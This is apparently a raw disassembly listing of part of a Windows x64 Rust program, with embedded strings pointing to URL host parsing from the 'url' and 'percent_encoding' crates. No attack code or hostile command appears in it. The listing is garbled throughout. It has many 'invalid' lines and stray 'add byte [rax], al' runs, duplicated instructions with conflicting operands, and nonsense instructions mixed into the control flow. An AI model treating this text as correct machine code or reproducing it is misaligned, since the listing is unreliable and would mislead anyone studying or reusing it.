jmp 0x1400f9570
add rdx, 3
shl eax, 0xc
or r8d, eax
mov ecx, r8d
cmp ecx, 0xd
jbe 0x1400f9609
jmp 0x1400f9570
mov rcx, r14
mov rdi, rdx
mov edx, eax
call fcn.1400f72b0
mov rdx, rdi
test rsi, rsi
jne 0x1400f9560
jmp 0x1400f96ab
mov r14, r13
test r15, r15
je 0x1400f9687
cmp r15, rax
jae 0x1400f9702
cmp byte [rdx + r15], 0xbf
jg 0x1400f9708
lea rcx, [0x14016f130]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r15
call fcn.140104b90
xor esi, esi
movzx eax, byte [rsp + 0x1a0]
cmp al, 1
je 0x1400f98ea
movzx eax, al
cmp eax, 2
jne 0x1400f96f2
xor esi, esi
jmp 0x1400f97d5
mov rdx, r13
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x68], rax
mov r12, qword [rsp + 0xc8]
mov r15, qword [rsp + 0xd0]
mov sil, 1
movzx eax, byte [rsp + 0x1a0]
cmp al, 1
jne 0x1400f96fa
test r15, r15
jne 0x1400f96fa
xor ebx, ebx
movabs r15, 0x8000000000000002
mov rax, qword [rsp + 0x68]
jmp 0x1400f98bf
xor r15d, r15d
jmp 0x1400f9789
mov r14, rdx
mov rdx, r12
jmp 0x1400f9716
jne 0x1400f966a
xor esi, esi
movzx eax, byte [rsp + 0x1a0]
cmp al, 1
je 0x1400f9789
cmp al, 2
jne 0x1400f9789
test r15, r15
je 0x1400f97d5
cmp byte [rdx], 0x5b
jne 0x1400f97d8
mov bl, 4
cmp byte [rdx + r15 - 1], 0x5d
mov rax, qword [rsp + 0x68]
jne 0x1400f98b0
mov r9, r15
dec r9
je 0x1400fa24f
cmp byte [rdx + 1], 0xbf
jle 0x1400fa26f
mov rdi, r12
lea rcx, [rsp + 0xc0]
mov r8, r15
call fcn.1400f5de0
mov r12, qword [rsp + 0xc0]
movabs r15, 0x8000000000000002
movzx ebx, byte [rsp + 0xc8]
cmp r12, r15
jne 0x1400f98f1
mov r12, rdi
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x1400f98bf
add byte [rax], al
jmp 0x1400f98d6
xor r15d, r15d
lea rax, [rdx + r15]
lea rcx, [0x140175e44]
mov r8, rdx
cmp r8, rax
je 0x1400f9eca
movzx ebx, byte [r8]
movzx r9d, bl
test r9b, r9b
js 0x1400f980b
inc r8
cmp r9d, 0x7c
jbe 0x1400f989c
jmp case.default.0x1400f98a6
mov r10d, r9d
and r10d, 0x1f
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp r9b, 0xdf
jbe 0x1400f986b
movzx r11d, byte [r8 + 2]
shl edi, 6
and r11d, 0x3f
or r11d, edi
cmp bl, 0xf0
jb 0x1400f9884
add r8, 2
shl r10d, 6
or r10d, edi
mov r9d, r10d
cmp r9d, 0x7c
jbe 0x1400f989c
invalid
sbb eax, 0xffff62e9
dec dword [rcx - 0x7d]
rol byte [rbx], 0x41
shl edx, 0xc
or al, 0x45
or ebx, edx
or al, 0x45
or ebx, edx
mov r9d, r11d
cmp r9d, 0x7c
ja case.default.0x1400f98a6
invalid
invalid
invalid
invalid
mov r9d, r9d
leave
movsxd r9, dword [rcx + r9*4]
add r9, rcx
jmp r9
mov rax, qword [rsp + 0x68]
movabs r15, 0x8000000000000002
test sil, sil
je 0x1400f98d6
test rax, rax
je 0x1400f98d6
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
sub bl, byte [rbx + 1]
invalid
movabs rax, 0x8000000000000002
mov r12, r15
or byte [rbp - 0x77], 0xfc
mov esi, ebx
cmp r15, rax
jne 0x1400f9930
mov ebp, esi
jmp 0x1400f9e7b
mov rax, qword [rsp + 0xc9]
mov rcx, qword [rsp + 0xd0]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x117], rcx
mov qword [rsp + 0x110], rax
test sil, sil
je 0x1400f9930
cmp qword [rsp + 0x68], 0
je 0x1400f9930
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
mov rax, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x117]
and al, 0x17
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
invalid
mov qword [rsp + 0x79], rax
mov qword [rsp + 0x70], r12
mov byte [rsp + 0x78], bl
lea rax, [rsp + 0x70]
mov qword [rsp + 0xb0], rax
lea rax, [0x1400ff710]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0xb8], rax
lea rax, [0x14016f7a8]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov dword [rsp + 0xc8], 1
mov dword [rsp + 0xc8], 1
mov qword [rsp + 0xe0], 0
mov dword [rsp + 0xe0], 0
lea r12, [rsp + 0xb0]
mov qword [rsp + 0xd0], r12
mov dword [rsp + 0xd0], esp
movsb byte [rdi], byte [rsi]
and al, 0xb0
add byte [rax], al
add byte [rcx + rcx*4 - 0x5c], cl
mov dword [rsp + 0xd0], esp
mov qword [rsp + 0xd8], 1
lea rdx, [0x14016e9e8]
mov dword [rsp + 0xd0], esp
mov qword [rsp + 0xd8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
lea rdx, [0x14016e9e8]
lea edx, [0x14016e9e8]
lea r8, [rsp + 0xc0]
mov rsi, qword [rsp + 0x88]
add byte [rax - 0x75], cl
mov ah, 0x24
mov byte [rax], al
add byte [rax], al
mov rcx, rsi
call fcn.140013960
test al, al
jne 0x1400fa223
mov rdi, qword [rsi + 0x10]
mov rax, rdi
shr rax, 0x20
and byte [rdi], cl
invalid
invalid
add al, byte [rax]
invalid
and byte [rdi], cl
test dword [rdx + 0x48000002], esp
mov esi, dword [rsp + 0x70]
je 0x1400f9a15
invalid
mov rsi, qword [rsp + 0x70]
je 0x1400f9a15
jo 0x1400f9a3f
mov r15, qword [rsp + 0x80]
mov edi, dword [rsp + 0x80]
movabs r10, 0x8000000000000002
mov rbx, r14
cmp rsi, r10
or byte [rcx + rcx*4 - 0xd], 0x4c
cmp esi, edx
jl 0x1400f9a9b
mov rbx, r14
test r15, r15
jne 0x1400f9a9b
test dword [rdi], edi
add byte [rax], al
dec dword [rdi]
test dword [rdi], edi
add byte [rax], al
mov r12, r10
mov qword [rsp + 0xc0], r14
mov qword [rsp + 0xc8], r13
and al, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x75414
adc al, 0x54
invalid
invalid
and al, 0xc8
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x75414
adc al, 0x54
invalid
invalid
lea r8, [rsp + 0xc0]
lea eax, [rsp + 0xc0]
mov edx, 1
add dword [rax], eax
add byte [rax], al
call fcn.1400f88e0
cmp byte [rsp + 0x1a0], 2
jne 0x1400f9a64
inc dword [rax + 0x1a024bc]
add byte [rax], al
add dh, byte [rbp + 0x12]
mov rbx, r14
test al, al
mov r10, r12
mov edx, esp
mov edx, esp
lea r12, [rsp + 0xb0]
je 0x1400f9a9b
xor ebp, ebp
jmp 0x1400f9c97
invalid
inc rbx
cmp eax, 0xd
ja 0x1400f9b2f
mov ecx, 0x110000
mov edx, 0x2600
add byte [rdx + 0x2600], bh
bt edx, eax
jae 0x1400f9b2f
invalid
add byte [rax], al
invalid
movabs al, byte [0x110000f981000000]
cmp ecx, 0x110000
jne 0x1400f9b3d
add byte [rcx], dl
add byte [rdi], cl
test dword [rdx + 0x4c000000], esp
cmp ebx, ebp
cmp rbx, r13
je 0x1400f9ccc
movzx r8d, byte [rbx]
mov dh, 3
movzx eax, r8b
test al, al
jns 0x1400f9a70
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x1400f9b04
movzx edx, byte [rbx + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x1400f9b1b
movzx eax, byte [rbx + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x1400f9ccc
invalid
add byte [rax - 0x7d], cl
ret
add rbx, 4
cmp eax, 0xd
jbe 0x1400f9a7c
jmp 0x1400f9b2f
add rbx, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
cmp eax, 0xd
jbe 0x1400f9a7c
jmp 0x1400f9b2f
add rbx, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
cmp eax, 0xd
jbe 0x1400f9a7c
invalid
dec dword [rcx + 0xf981c1]
add byte [rcx], dl
add byte [rdi], cl
test byte [rsi - 1], bl
invalid
mov ecx, eax
cmp ecx, 0x110000
je 0x1400f9a9b
mov qword [rsp + 0x98], r15
cmp ecx, 0x3a
jne 0x1400f9cd4
mov r15, rdi
mov rax, qword [rsp + 0x88]
movzx ecx, byte [rax + 0x40]
xor eax, eax
mov qword [rsp + 0x68], rax
mov edx, 0x2600
xor eax, eax
mov r8, rbx
jmp 0x1400f9b9a
inc r8
cmp r9d, 0xd
ja 0x1400f9c46
mov r10d, 0x110000
bt edx, r9d
jae 0x1400f9c46
cmp r10d, 0x110000
jne 0x1400f9c56
cmp r8, r13
je 0x1400fa063
movzx edi, byte [r8]
movzx r9d, dil
test r9b, r9b
jns 0x1400f9b70
mov r10d, r9d
and r10d, 0x1f
movzx r14d, byte [r8 + 1]
and r14d, 0x3f
cmp r9b, 0xdf
jbe 0x1400f9c14
movzx r11d, byte [r8 + 2]
shl r14d, 6
and r11d, 0x3f
or r11d, r14d
cmp dil, 0xf0
jb 0x1400f9c2e
movzx r9d, byte [r8 + 3]
and r10d, 7
shl r10d, 0x12
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
or r9d, r10d
cmp r9d, 0x110000
je 0x1400fa063
add r8, 4
cmp r9d, 0xd
jbe 0x1400f9b7d
jmp 0x1400f9c46
add r8, 2
shl r10d, 6
or r10d, r14d
mov r9d, r10d
cmp r9d, 0xd
jbe 0x1400f9b7d
jmp 0x1400f9c46
add r8, 3
shl r10d, 0xc
or r11d, r10d
mov r9d, r11d
cmp r9d, 0xd
jbe 0x1400f9b7d
mov r10d, r9d
cmp r10d, 0x110000
add byte [rdi], cl
test byte [rdi + rdi*8 - 1], al
invalid
lea r9d, [r10 - 0x30]
cmp r9d, 0xa
jae 0x1400fa03d
mov rax, qword [rsp + 0x68]
lea eax, [rax + rax*4]
lea r10d, [r9 + rax*2]
mov al, 1
mov rbx, r8
mov r9, r10
mov qword [rsp + 0x68], r10
cmp r10d, 0xffff
jbe 0x1400f9b9a
mov bpl, 2
jmp 0x1400f9c97
mov bpl, 9
mov rsi, qword [rsp + 0x70]
movabs rax, 0x8000000000000002
cmp rsi, rax
jl 0x1400f9e7b
test rsi, rsi
je 0x1400f9e7b
mov r8, qword [rsp + 0x78]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400f9e7b
mov qword [rsp + 0x98], r15
xor edx, edx
mov qword [rsp + 0x68], rax
mov r15, qword [rsp + 0x78]
movabs rcx, 0x8000000000000001
add rcx, rsi
xor eax, eax
cmp rsi, r10
cmovl rax, rcx
test rax, rax
je 0x1400f9d05
cmp rax, 1
jne 0x1400f9d13
mov bl, 2
jmp 0x1400f9d1c
cmp qword [rsp + 0x98], 0
setne bl
jmp 0x1400f9d1c
mov r12, r15
shr r12, 0x20
mov bl, 3
cmp rsi, r10
jl 0x1400f9d3c
test rsi, rsi
je 0x1400f9d3c
mov rcx, qword [0x14017d208]
mov esi, edx
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov edx, esi
mov rax, qword [rsp + 0xa8]
cmp qword [rsp + 0x120], rax
je 0x1400f9d59
test bl, bl
jne 0x1400f9d59
xor ebp, ebp
jmp 0x1400f9e7b
mov rax, qword [rsp + 0x88]
mov rsi, qword [rax + 0x10]
mov rax, rsi
shr rax, 0x20
jne 0x1400f9e7b
shl r12, 0x20
mov qword [rsp + 0x90], rdi
mov edi, r15d
or rdi, r12
mov byte [rsp + 0xc0], 1
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0xc0]
mov r15, qword [rsp + 0x88]
mov rcx, r15
movzx ebp, byte [rsp + 0x1a0]
mov r12d, edx
mov edx, ebp
mov r9, r14
call fcn.1400fff10
mov rcx, qword [r15 + 0x40]
mov qword [rsp + 0x100], rcx
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rsp + 0xf0], xmm3
movaps xmmword [rsp + 0xe0], xmm2
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
mov byte [rsp + 0x70], bl
mov rcx, qword [rsp + 0x98]
mov qword [rsp + 0x79], rcx
mov qword [rsp + 0x71], rdi
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], esi
mov rax, qword [rsp + 0x68]
mov word [rsp + 0x48], ax
mov word [rsp + 0x40], r12w
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x90]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0xa0]
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0xc0]
add byte [rax], al
mov rcx, qword [rsp + 0x128]
mov r8d, ebp
mov r9d, dword [rsp + 0x1a8]
add al, ch
invalid
sbb dword [rax], eax
add bl, ch
invalid
add al, ch
invalid
mov rcx, qword [rsp + 0x128]
mov byte [rcx + 8], bpl
movabs rax, 0x8000000000000000
add byte [rax + 0x48018948], al
mov eax, dword [rsp + 0x88]
add byte [rax + 0x48018948], al
mov eax, dword [rsp + 0x88]
cmp qword [rax], 0
je 0x1400f9eb5
mov r8, qword [rax + 8]
mov rcx, qword [0x14017d208]
or byte [rax], al
or byte [rax], al
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x138
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [rsp + 0x98], r12
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 1
js 0x1400f9ee2
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
sbb eax, 0x74f29
lea r12, [rsp + 0x70]
jmp 0x1400f9f2e
js 0x1400f9ee2
ror byte [rdi], 0x85
leave
add al, byte [rax]
add byte [rbp - 0x7b], cl
push qword [rcx + riz*2 + 0xf]
mov dh, 2
test r15, r15
je 0x1400f9f94
movzx eax, byte [rdx]
movzx eax, al
test al, al
js 0x1400f9efe
mov r15, qword [rsp + 0x70]
movzx ebx, byte [rsp + 0x78]
mov rax, qword [rsp + 0x79]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0xb7], rax
mov r12, qword [rsp + 0x98]
jmp case.0x1400dcba7.397
movabs rax, 0x8000000000000002
cmp r15, rax
je case.0x1400a5610.1390
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xb7]
mov qword [rsp + 0x117], rcx
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x1400f98bf
test cl, cl
jne 0x1400fa063
add r10d, 0xffffffdd
cmp r10d, 0x39
ja 0x1400f9c8a
movabs rcx, 0x200000010001001
bt rcx, r10
jae 0x1400f9c8a
invalid
cld
invalid
invalid
invalid
test al, 1
je 0x1400fa0a7
mov edx, dword [rsp + 0x1a8]
mov r9d, edx
mov rax, qword [rsp + 0x88]
mov rcx, qword [rax + 8]
or byte [rbp - 0x76b32e], al
je 0x1400fa0c0
cmp rdi, r9
jbe 0x1400fa0be
cmp byte [rcx + r9], 0xbf
jg 0x1400fa0c0
lea rax, [0x14016f118]
mov qword [rsp + 0x20], rax
mov rdx, rdi
xor r8d, r8d
call fcn.140104b90
xor edx, edx
mov r14, rbx
mov rdi, r15
movabs r10, 0x8000000000000002
jmp 0x1400f9cdb
jne 0x1400fa090
mov rdx, r9
call fcn.1400f8810
test ax, ax
mov rax, qword [rsp + 0x68]
je 0x1400fa0de
cmp dx, ax
jne 0x1400fa0de
xor edx, edx
jmp 0x1400fa176
mov word [rsp + 0x110], ax
lea rax, [rsp + 0x110]
mov qword [rsp + 0xb0], rax
lea rax, [0x140016160]
mov qword [rsp + 0xb8], rax
lea rax, [0x14016f0f0]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xd0], r12
mov qword [rsp + 0xd8], 1
lea rdx, [rsp + 0xc0]
mov rcx, qword [rsp + 0x88]
call fcn.1400f7290
test al, al
jne 0x1400fa28c
mov rsi, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x98], rax
mov dx, 1
mov r14, rbx
movabs r10, 0x8000000000000002
jmp 0x1400f9cdb
lea rcx, [0x14016f0b0]
call fcn.140104a40
lea rax, str.mid___len
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
lea rax, [0x14016f768]
mov qword [rsp + 0xd0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0xd8], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0xc0]
call fcn.140104620
lea rcx, [0x14016f018]
mov qword [rsp + 0x20], rcx
mov rcx, rax
xor r8d, r8d
mov r9, r13
call fcn.140104b90
lea rax, [0x14016eaa0]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_string.rs
lea r9, [0x14016ead8]
lea r8, [rsp + 0xc0]
mov edx, 0x37
call fcn.1401049b0
lea rax, [0x14016f0d8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14016ead8]
lea r8, [rsp + 0xc0]
mov edx, 0x2b
call fcn.1401049b0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov rdx, r15
xor r9d, r9d
call fcn.140104b90
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srchost.rs
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, rdx
mov rdx, r15
call fcn.140104b90
lea rax, [0x14016f100]
jmp 0x1400fa22a
test r12b, r12b
je 0x1400fb44a
mov rdx, qword [r13 + 0x10]
cmp rbx, rsi
je 0x1400fade0
mov r11, rdx
mov qword [rsp + 0x48], rdx
mov r10d, 0x2600
mov rax, rbx
mov r14, rbx
nop word cs:[rax + rax]
movzx edx, byte [r14]
movzx r8d, dl
test r8b, r8b
invalid
js 0x1400fa670
sar byte [rax + 0x13], 0x49
lea ebx, [rsi + 1]
lea rbx, [r14 + 1]
cmp r8d, 0xd
jbe 0x1400fa6f0
test dword [rax], eax
add byte [rax], al
test dword [rax], eax
add byte [rax], al
jmp 0x1400fa710
mov ecx, r8d
and ecx, 0x1f
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
cmp r8b, 0xdf
jbe 0x1400fa6c0
movzx r8d, byte [r14 + 2]
shl r9d, 6
and r8d, 0x3f
or r8d, r9d
cmp dl, 0xf0
jb 0x1400fa6d5
lea rbx, [r14 + 4]
movzx edx, byte [r14 + 3]
movzx edx, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl r8d, 6
and edx, 0x3f
or edx, r8d
or edx, ecx
mov r8d, edx
cmp r8d, 0xd
invalid
jbe 0x1400fa6f0
or eax, 0x50eb3276
jmp 0x1400fa710
lea rbx, [r14 + 2]
shl ecx, 6
pop rsi
add al, cl
loope 0x1400fa6cd
or ecx, r9d
mov r8d, ecx
cmp r8d, 0xd
jbe 0x1400fa6f0
clc
or eax, 0x3beb1d76
jmp 0x1400fa710
lea rbx, [r14 + 3]
shl ecx, 0xc
pop rsi
add eax, ecx
loope 0x1400fa6e8
or r8d, ecx
cmp r8d, 0xd
ja 0x1400fa710
enter 0xffffffffffff8341, 0xfffffffffffffff8
or eax, 0x66662b77
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + 0xf], al
movabs dword [0x3948de89491a73c2], eax
cmp ebx, esi
jne 0x1400fa650
bt r10d, r8d
jae 0x1400fa710
ret 0x1a73
mov r14, rbx
cmp rbx, rsi
cmp ebx, esi
jne 0x1400fa650
jmp 0x1400fadc0
nop word [rax + rax]
cmp r8d, 0x110000
clc
add byte [rax], al
adc dword [rax], eax
je 0x1400fadf2
add dword [rax], eax
add byte [rax], al
cmp r8d, 0x80
jb 0x1400fa74c
add byte [rcx], al
add byte [rcx - 0x44], al
add al, 0
add byte [rax], al
add dword [rax], eax
mov r12d, 4
sbb r12, 0
mov rdx, rsi
sub rdx, r14
cmp r12, rdx
jae 0x1400fa763
cmp byte [r14 + r12], 0xbf
mov edi, 0x75e90b7f
sldt word [rax]
jg 0x1400fa769
jmp 0x1400fb6d8
jne 0x1400fb6d8
add byte [rax], al
cmp r8d, 0x3e
jle 0x1400fa78e
cmp r8d, 0x3f
cmp eax, 0x3f
je 0x1400fa7a6
invalid
add byte [rax], al
cmp r8d, 0x23
je 0x1400fa7a6
cmp r8d, 0x2f
jne 0x1400fa7bf
clc
invalid
cmp byte [r13 + 0x40], 2
je 0x1400fa7bf
jmp 0x1400fb3bc
cmp byte [r13 + 0x40], 0
jne 0x1400fa7bf
jge 0x1400fa7ea
add byte [rbp + 0x12], dh
jmp 0x1400fb389
xor eax, dword [rsi]
add byte [rax], al
mov rcx, qword [r13 + 0x30]
mov rdx, qword [r13 + 0x38]
mov edx, dword [rbp + 0x38]
cmp byte [rax - 0x77], cl
je 0x1400fa7ef
and byte [rcx - 0x77], cl
fld1
jl 0x1400fa812
add byte [rax], al
cmp byte [rax - 0x77], cl
je 0x1400fa7ef
and byte [rcx - 0x77], cl
fld1
jl 0x1400fa812
add byte [rax], al
mov r11, qword [r13 + 0x10]
cmp byte [rsp + 0x37], 0
invalid
add byte [rbp + 0x5d], dh
invalid
add byte [rbp + 0x5d], dh
cmp r11, qword [rsp + 0x40]
and al, 0x40
jbe 0x1400fa83c
clc
jbe 0x1400fa7fc
cmp byte [rcx + rdi], 0xbf
jle 0x1400fb71e
cmp rax, 2
jne 0x1400fa83c
add dh, byte [rbp + 0x3a]
movzx eax, byte [rcx + rdi]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x1400fa83c
cmp byte [rcx + rdi + 1], 0x3a
jne 0x1400fa83c
cmp dh, byte [rbp + 0x27]
cmp r11, qword [r13]
cmp ebx, dword [rbp]
pop rbp
add byte [rbp + 0x10], dh
jne 0x1400fa82b
mov rcx, r13
call fcn.1400cf3b0
mov rcx, qword [r13 + 8]
mov ecx, dword [rbp + 8]
mov ecx, dword [rbp + 8]
mov r11, qword [r13 + 0x10]
adc byte [rdx - 0x3a], al
add al, 0x19
invalid
mov byte [rcx + r11], 0x2f
inc r11
mov qword [r13 + 0x10], r11
inc qword [rsp + 0x48]
cmp byte [r13 + 0x40], 2
mov qword [rsp + 0xc0], rbx
jne 0x1400faa13
cmp byte [rsp + 0x37], 2
jne 0x1400fabd3
mov rbx, qword [r13]
mov r9, r13
mov rax, qword [r13 + 8]
mov eax, dword [rbp + 8]
mov qword [rsp + 0x38], rax
jmp 0x1400fa89d
lea rbp, [r11 + r12]
mov r13, r9
mov qword [rsp + 0x38], rcx
add r11, rcx
mov rcx, r11
mov rdx, r14
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add byte [rax], al
add byte [rax], al
mov r9, r13
mov qword [r13 + 0x10], rbp
insd dword [rdi], dx
adc byte [rcx - 0x77], cl
hlt
mov r14, rdi
mov r11, rbp
insd dword [rdi], dx
adc byte [rcx - 0x77], cl
hlt
test r12, r12
je 0x1400fad93
in al, 0xf
test ch, ch
add al, 0
add byte [rcx + 0xf], al
mov dh, 6
movzx eax, byte [r14]
movzx eax, al
test al, al
invalid
js 0x1400fa8c5
mov ecx, eax
shr ecx, 5
lea rdx, [0x14016f190]
invalid
add byte [rbx - 0x5cf075f4], cl
invalid
jae 0x1400fa940
inc r14
dec r12
mov rdi, r14
lea r14, [rax + rax*2]
lea rax, [0x140138f8c]
add r14, rax
mov rsi, r12
mov r12d, 3
mov rcx, qword [rsp + 0x38]
mov rax, rbx
sub rax, r11
cmp rax, r12
jae 0x1400fa870
xor dword [rdi - 1], 0xffffffff
dec dword [rcx + rcx*4 - 0x23]
mov rbp, r11
add rbp, r12
jb 0x1400fb66e
lea r13, [rbx + rbx]
cmp r13, rbp
cmovbe r13, rbp
in eax, dx
cmp r13, 9
mov eax, 8
cmovb r13, rax
mov r15, r11
test rbx, rbx
je 0x1400fa9ae
add byte [rax], al
add byte [rax - 0x77], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rax + 1], bh
jmp 0x1400fa9b0
mov ecx, 1
nop word cs:[rax + rax]
cmp r12, rcx
je 0x1400faa05
mov rax, rcx
movzx ecx, byte [r14 + rcx]
test cl, cl
js 0x1400fa982
movzx edx, cl
mov ecx, edx
shr ecx, 5
lea r8, [0x14016f190]
mov r8d, dword [r8 + rcx*4]
lea rcx, [rax + 1]
bt r8d, edx
jae 0x1400fa950
sub r12, rax
mov rcx, qword [rsp + 0x38]
jb 0x1400fb68f
lea rdi, [r14 + rax]
mov rsi, r12
out 0x49, al
mov esp, eax
out 0x49, al
mov esp, eax
mov rax, rbx
sub rax, r11
cmp rax, r12
jae 0x1400fa870
jmp 0x1400fa8f9
mov rdx, r13
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x68]
mov r8, r13
lea r9, [rsp + 0x80]
call fcn.140038db0
cmp qword [rsp + 0x68], 0
jne 0x1400fb655
xor esi, esi
lea rdi, [0x14016f768]
jmp 0x1400fa8e5
mov rbx, qword [r13]
mov r9, r13
mov r13, qword [r13 + 8]
jmp 0x1400faa4b
lea rbp, [r11 + r12]
mov r15, r9
mov r13, rcx
add r11, rcx
mov rcx, r11
mov rdx, r14
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov r9, r15
mov qword [r15 + 0x10], rbp
mov r14, rdi
mov r12, rsi
mov r11, rbp
test r12, r12
je 0x1400fad93
movzx eax, byte [r14]
movzx eax, al
test al, al
js 0x1400faa77
mov ecx, eax
shr ecx, 5
lea rdx, [0x14016f1b0]
mov ecx, dword [rdx + rcx*4]
bt ecx, eax
jae 0x1400fab00
inc r14
dec r12
mov rdi, r14
lea r14, [rax + rax*2]
lea rax, [0x140138f8c]
add r14, rax
mov rsi, r12
mov r12d, 3
mov rcx, r13
mov rax, rbx
sub rax, r11
cmp rax, r12
jae 0x1400faa20
mov rbp, r11
add rbp, r12
jb 0x1400fb66e
mov qword [rsp + 0x38], rdi
lea r13, [rbx + rbx]
cmp r13, rbp
cmovbe r13, rbp
cmp r13, 9
mov eax, 8
cmovb r13, rax
mov rdi, r11
test rbx, rbx
je 0x1400fab6c
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x90], rbx
mov eax, 1
jmp 0x1400fab6e
mov ecx, 1
nop word cs:[rax + rax]
cmp r12, rcx
je 0x1400fabc5
mov rax, rcx
movzx ecx, byte [r14 + rcx]
test cl, cl
js 0x1400fab42
movzx edx, cl
mov ecx, edx
shr ecx, 5
lea r8, [0x14016f1b0]
mov r8d, dword [r8 + rcx*4]
lea rcx, [rax + 1]
bt r8d, edx
jae 0x1400fab10
sub r12, rax
jb 0x1400fb68f
mov rcx, r13
lea rdi, [r14 + rax]
mov rsi, r12
mov r12, rax
mov rax, rbx
sub rax, r11
cmp rax, r12
jae 0x1400faa20
